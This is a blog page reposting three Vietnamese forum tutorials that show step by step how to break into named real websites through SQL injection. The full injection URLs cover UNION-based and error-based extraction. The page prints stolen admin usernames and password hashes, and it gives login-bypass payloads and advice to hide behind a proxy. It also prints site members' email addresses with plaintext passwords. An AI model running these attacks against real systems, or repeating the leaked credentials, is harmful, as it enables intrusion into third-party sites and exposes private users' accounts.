Showing posts with label SQL injection. Show all posts
Showing posts with label SQL injection. Show all posts

Tuesday, August 26, 2008

[Tut] Blind sql injection : DiemSangViet.Net

quangvu
05-08-2008, 09:10 AM
Khai trương cho box.
Bài này thực ra là 1 bài khá căn bản, các bạn có thể tìm đọc hướng dẫn tươg tự rất nhiều trên internet.
Tut by: talama3000[at]VBF[dot]NET
Tham khảo tại milw0rm: SQL Injection Tutorial by Marezzi (MySQL) : http://www.milw0rm.com/papers/202

http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html
http://gdataonline.com/

Hello mọi người
hôm nay dạo chơi một vòng thấy có site Http://DiemSangViet.net nó bị lỗi nên em làm cái tut
lần đầu làm tut mong mọi người thông cảm nhé
Victim:Http://DiemSangViet.Net
cái site đó toàn điện thoại di đông hem biết đã có anh nào check chưa
em vào đó chơi tí

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90

site này nó bằng php
giờ thử check bằng and 1=1 và and 1=0 xem có gì không

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 and 1=1


http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 and 1=0
mọi người xem có gì khác biệt không
giờ thử đếm bằng order by xx--
xx là một số nào đó


http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 order by 20--
ở đây em cứ thử đếm từ 20 đổ về 0
đếm đến 3 thì thấy nó trở về như cái

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 and 1=1

tiếp nào

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 union select 1,2,3--


mọi người thấy gì chưa
nó hiện ra số 2 đẹp ghê
tìm version

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 union select 1,version(),3--



Quote:
5.0.27

có thể dùng information.... được
giờ tìm table_name

http://diemsangviet.net/?module=sanpham&pcat=1&loai=90%20union%20select%201,table_name,3%20from%2 0information_schema.tables--

Điện thoại vỏ gỗ-Mobiado

CHARACTER_SETS

COLLATIONS

COLLATION_CHARACTER_SET_APPLICABILITY

COLUMNS

COLUMN_PRIVILEGES

KEY_COLUMN_USAGE

ROUTINES

SCHEMATA

SCHEMA_PRIVILEGES

STATISTICS

TABLES

TABLE_CONSTRAINTS

TABLE_PRIVILEGES

TRIGGERS

USER_PRIVILEGES

VIEWS

counter

df_cate

df_user

plus_poll

plus_poll_ans

tbl_banner

tbl_cart

tbl_category

tbl_contact

tbl_counter

tbl_faq

tbl_group

tbl_groupnew

tbl_intro

phát ra luôn
nhìn thấy cái


df_user
hay hay giờ thử chuyển nó sang ascii xem
dùng web


http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html

để chuyển
và nó đây

Quote:
100, 102, 95, 117, 115, 101, 114

giờ tìm colum_name


http://diemsangviet.net/?module=sanpham&pcat=1&loai=90%20union%20select%201,column_name,3%20from% 20information_schema.columns%20where%20table_name= %20char(100,%20102,%2095,%20117,%20115,%20101,%201 14)%20--

Điện thoại vỏ gỗ-Mobiado
user_id
user_name
user_password
user_regdate

giờ lấy thông tin thôi


http://diemsangviet.net/?module=sanpham&pcat=1&loai=90 union select 1,concat(user_name,char(47),user_password ),3 from df_user --

char(58) = dấu /

kết quả


acc/pass
winman/14ddd4dd79acd79cf361b4b384e40c7d

acc/pass
guest/e10adc3949ba59abbe56e057f20f883e
nhìn cái pass e10adc3949ba59abbe56e057f20f883e quen quen nó là 123456
còn cái 14ddd4dd79acd79cf361b4b384e40c7d em đã thử dùng gdataonlin.com nhưng không được
anh nào crack được pass thì cho em biết với nhé
link admin:
http://diemsangviet.net/admin

url: http://ddcntt.vn/forum/archive/index.php/t-1466.html

Hack site Toàn Thắng - sql injection

Hack site Toàn Thắng - sql injection
Victim :
http://www.toanthangsteel.com.vn/

Link khai thác
http://www.toanthangsteel.com.vn/vn/...n.php?tinID=35'

Có lỗi rồi đó, nhưng check lại xem khai thác được không nào ??
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 and 1=1--
Sẽ đc trả về giá trị true
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 and 1=0--
Sẽ đc trả về giá trị false.

OK ngon rồi. Bắt đầu nào

Bây giờ làm gì nhỉ ? Đếm column = order by
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 order by 1--
Nếu hiển thị thông tin ở dưới thì là true, còn không có gì là false. Mình đang đi tìm giá trị false để xem column cuối cùng là bao nhiu. Ở đây mình tìm đc là 7
Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 order by 7--
Bạn thử order by là 8 coi, lập tức sẽ hiển thị thông tin false liền

Đếm xong rồi thì chỉ việc điền vào thôi

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=35 union select 1,2,3,4,5,6,7--
Ủa ?? đúng column rồi mà ?? Sao không có số nào hết vậy kà thay 35 = null xem nào

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,4,5,6,7--
Thấy số 4 không nào ?? thay 4 = version() để check xem nó dùng version bao nhiu nhé

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,version(),5,6,7--
Ta đc 5.0.51a-community úi mừng quá khỏi phải mò table_name

Lấy table_name nào

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables--
Ủa ?? Sao ra có 1 table vậy trời kì vậy ?? sai gì chăng ?? Chợt nhớ lại cái tuts của sis hoangduye ( 100% girl luôn nà anh em mau nhào vô đê )

trường hợp chỉ hiển thị 1 table đầu tiên, thì dùng limit
limit 0,1 > table thứ 1
limit 1,1 > table thứ 2
limit 2,1 > table thứ 3
limit n,1 > table thứ n

Như vậy câu khai thác sẽ là

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables limit 0,1--
Các bạn thử lần lượt, chừng nào có những table mình cần là đc. Ví dụ như admin, users ...
Ở đây mình đã tìm đc rồi, table users limit 31,1 <~ điên luôn

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,table_name,5,6,7 from information_schema.tables limit 31,1--
Có table rồi, bây giờ sẽ lấy column ở table users. Nhưng bằng cách nào ?? sis hoangduye đã có tuts rồi kìa
convert table users sang ASCII
Web : http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html
Sau khi convert thì thay vào câu lệnh để query.

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name= char(117, 115, 101, 114, 115) limit 0,1--
Đó ... lại hiển thị 1 column nữa Sao mình ghét thế nhể .. lại mò nữa

Okie có rồi : Username và Pass oh yeah nó đây

Có đầy đủ table_name + column_name rồi ta chỉ việc thay vào.

Code:
http://www.toanthangsteel.com.vn/vn/progress/chitiettin.php?tinID=null union select 1,2,3,concat(Username,char(58),Pass),5,6,7 from users--
concat() <~ hic chả hiểu câu này có nghĩa gì, nhìn mà dị ứng

Link admin các bạn tự tìm nhé

P/s : Nếu cảm thấy bài viết này có ích, sau khi vào đc admincp thì đừng edit bất cứ cái gì vào nghía cái rồi ra đc rồi

url:http://danviet.biz/forum/showthread.php?t=725

Căn bản hack 1 website bị lỗi SQL Injection

Căn bản hack 1 website bị lỗi SQL Injection
++ Sau một thời gian tìm hiểu về sql injection, cũng như muốn giúp cho một số bác newbie hiểu một cách gần như hòan chỉnh về Sql injeciton ? Vậy Sql injeciton là gì ? By pass login là gì ? Có thể hiểu một cách cơ bản nhất về Sql injeciton là "lỗi xảy ra trong quá trình xử lý thông tin bên ngòai đưa vào" ..... còn by pass login có thể hiểu là " với by pass thì ta có thể đăng nhập vào bất cứ nơi nào bị dính sql injection mà ta ko cần biết thông tin về user, pass, email ...... " .... cơ bản là như thế đấy, còn muốn hiểu rõ ràng hơn, cũng như khoa học hơn hãy tìm đọc trong các tài liệu của nước ngòai nhé (muốn tìm vào google.com search từ khóa là : sql injection exploit) ... hoặc tham khảo các bài viết của các staff HVA (vicki, mrro, windak, $$$ ....)
++ Vậy by pass login như thế nào ? À, đôi khi bạn truy cập vào 1 số trang nào đó, bạn sẽ để ý có phần đăng nhập ... và bạn muốn đăng nhập với quyền quản trị thì sao ? hì .. hì ... chỉ cần biết user và pass là có thể đăng nhập thôi chứ gì ? Nhưng trong trường hợp ko biết thì pó tay .. hì hì ... vậy by pass login sẽ giúp cho bạn đăng nhập vào nơi đó với quyền cao nhất .. cơ bản là vậy đó nha. Còn đây là một số data giúp bạn submit để xem coi nó bị by pass login ko :

Username
Password

' or 1=1--
' or 1=1--

" or 1=1--
" or 1=1--

or 1=1--
or 1=1--

' or 'a'='a
' or 'a'='a

" or "a"="a
" or "a"="a

') or ('a'='a
') or ('a'='a


( còn nhiều lắm đó, cơ bản là bao nhiêu đây, bạn có thể thay đổi như thế nào đó mà login được là thành công rồi ! )
++ Vậy sql injection như thế nào ? Thực tập luôn nha (trước khi thực tập thì nên mask bằng proxy nhé, để cho an tòan mà : IP: 171.64.64.216, port: 3128 - proxy này level 5) hi vọng sau khi thực tập xong trang này bạn sẽ tích hợp được phần nào khái niệm hack bằng sql injection, trang mình chọn là : http://www.gayseattle.com/ theo tìm hiểu sơ qua trang này ko có cc, cũng như ko có thông tin gì quan trọng cả, chủ yếu để các bạn tìm hiểu chứ ko hướng dẫn bạn hack cc .... nếu bạn nào thích thú thì xem như là thành công nho nhỏ rồi đó. Sau khi vào http://www.gayseattle.com/ bạn nhìn bên phải có 1 form cho đăng nhập, thông tin cần là e-mail và password, để khai thác nhập vào chổ e-mail là những dấu sau (những dấu có màu đỏ nha) : ',",),(, bạn sẽ nhận được một thông báo lỗi dạng như sau (sau khi bạn nhập vào dấu '):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '''.
/login.asp, line 41

Wow .. wow .. vậy là trang này dính sql injection rồi, giờ là đến lúc chúng ta khai thác nó. Để lấy các table và column bạn có 2 cách ( dùng ' having 1=1--sp_password, kết hợp với ' group by tên cột đã biết having 1=1--sp_password ).

Dùng cách 1: Nhập vào ' having 1=1--sp_password vào chổ e-mail, bạn sẽ nhận được 1 thông báo như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 41

Vậy là bạn biết tại form này nhận vào table Users và cột đầu tiên mang tên là : ID, giờ khai thác thêm các cột khác : Cũng tại chổ e-mail đó nhập vào : ' group by Users.ID having 1=1--sp_password nhận tiếp 1 thông báo như sau :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.IRCID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41

Vậy là biết thêm có 1 cột nữa mang tên là IRCID dùng dấu , giữa 2 cột nhé, giờ lấy tên cột tiếp theo nữa : ' group by Users.ID,Users.IRCID having 1=1--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Users.MatchMakerID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 41
và nhận được thêm 1 cột nữa tên là : MatchMakerID, tiếp tục như thế bạn lấy tên các cột còn lại, đến khi nào hết thì thôi, khi nào lấy hết tên các cột thì nó sẽ trở lại trang login mà không có báo lỗi gì nữa cả. Đến lúc đó bạn đã biết rằng mình đã lấy hết tên các cột rồi đó.

Dùng cách 2: Hãy dạo một vòng trang web, click đại vào 1 link bất kỳ đi, miễn sao link đó có dạng xxx.asp?yyy=???, chẵng hạn như : http://www.gayseattle.com/Community/...egory=Clothing, thử xem coi link này dính sql injection ko nhé, bằng cách xóa chử Clothing thay bằng dấu ' (dấu phẩy), (đôi khi một số trường hợp ta ko xóa chử đó mà chỉ cần thêm dấu ' thôi ---> Clothing' ) link sẽ như sau : http://www.gayseattle.com/Community/....asp?Category=' Nhận dc một thông báo .Vậy là xong, link này cũng dính sql injection ..... giờ ta lấy tên của các cột bằng " magic convert " do bên trên ta đã biết trang này có 1 table mang tên là : Users, để nhanh chóng ta đi vào lấy tên các cột của table này luôn mà không cần tìm tất cả các table hiện có.
http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' ))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' ))--sp_password

Bạn sẽ nhận được 1 thông báo như sau :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'id' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

cột đầu tiên cũng là id phải không ? quá đúng rồi còn gì nữa, giờ lấy tên các cột tiếp theo :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' and column_name not in('id')))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'Firstname' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

Vậy là tên cột tiếp theo là FirstName, lấy tên cột kế tiếp :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' and column_name not in('id')))--sp_password' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','firstname')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'LastName' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

các cột cách nhau bằng dấu , và tên cột nằm trong 2 dấu nháy '' như sau : ,'tên cột', cứ như vậy ta lấy tên các cột tiếp theo nhé ! Mình cũng đã lấy hết các cột của bảng Users này rồi, bạn tham khảo xem coi có giống của bạn không nhé :

' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','firstname','lastname','address','city','s tate','zip','email','password','emailok','postalma ilok','gayevents','singleevents','supportgroups'
,'irc','nightlife','businesses','otherinterests',' gender','ircnews','monitorresolution','monitorsize ','hearaboutus','ircid','matchmakerid','age'
,'address2','dateregistered3','lastvisit','adverti serid','cookies')))--sp_password

Bạn có để ý rằng với 2 cách trên thì thứ tự tên các cột bạn nhận được không giống nhau, nhưng dù cách nào đi nữa thì số cột cuối cùng bạn nhận được cũng như nhau mà thôi !

Lưu ý: Các cậu lệnh dùng để hack phải được viết trên 1 dòng nhé, không được xuống dòng nhé, do khuôn khổ trình bày đôi khi có sai lệch đôi chút, nhưng bạn phải nhớ kỹ nhé !

Vậy coi như là xong 50% rồi, giờ đến lúc bạn lấy info để login vào, trong form login đòi hỏi e-mail và password, giờ hãy nhìn lại số cột mà bạn nhận được từ bảng Users xem, khà khà .. thế nào, có tìm được cột có tên là email và password không, nếu ko có tức là bạn tìm chưa đủ, hãy tìm lại lần nữa nha .... :-)
Khai thác thì có nhiều cách lắm, giờ mình hướng dẫn cách khai thác nhanh nhất, gọn nhất, còn các cách khác bạn chịu khó xem lại tài liệu của các Staff HVA nhé ! Dùng CONVERT để khai thác :

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(select top 1 email+'/'+password from Users))--sp_password' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users))--sp_password

%2b == + (dấu %2b thay thế cho dấu +). Ta sẽ gộp 2 cột lại với nhau bằng dấu '/' để kết quả sau khi nhận được dễ phân biệt hơn. Kết quả bạn sẽ nhận được là :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'ygdrasil@mindspring.com/laeris' to a column of data type int.
/Community/YellowPages/directory.asp, line 19
Wow ... woow .... xong rùi đó, giờ Back lại trang chính và login vào xem thế nào nhé (http://www.gayseattle.com/login.asp) thành công rồi chứ ?? :-) Giờ làm sao để lấy các thông tin khác nữa .... để lấy thông tin của thành viên khác thì ta sẽ lọai trừ cái email của người mà vừa lấy xong :-)..........

http://www.gayseattle.com/Community/....asp?Category=' and 1=convert(int,(select top 1 email+'/'+password from Users where email not in('ygdrasil@mindspring.com')))--sp_password' and 1=convert(int,(select top 1 email%2b'/'%2bpassword from Users where email not mailto:in('ygdrasil@mindspring.com')))--sp_password))--sp_password

Kết quả nhận được là :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'louisk@guiware.com/lmk1234' to a column of data type int.
/Community/YellowPages/directory.asp, line 19

url:http://danviet.biz/forum/showthread.php?t=724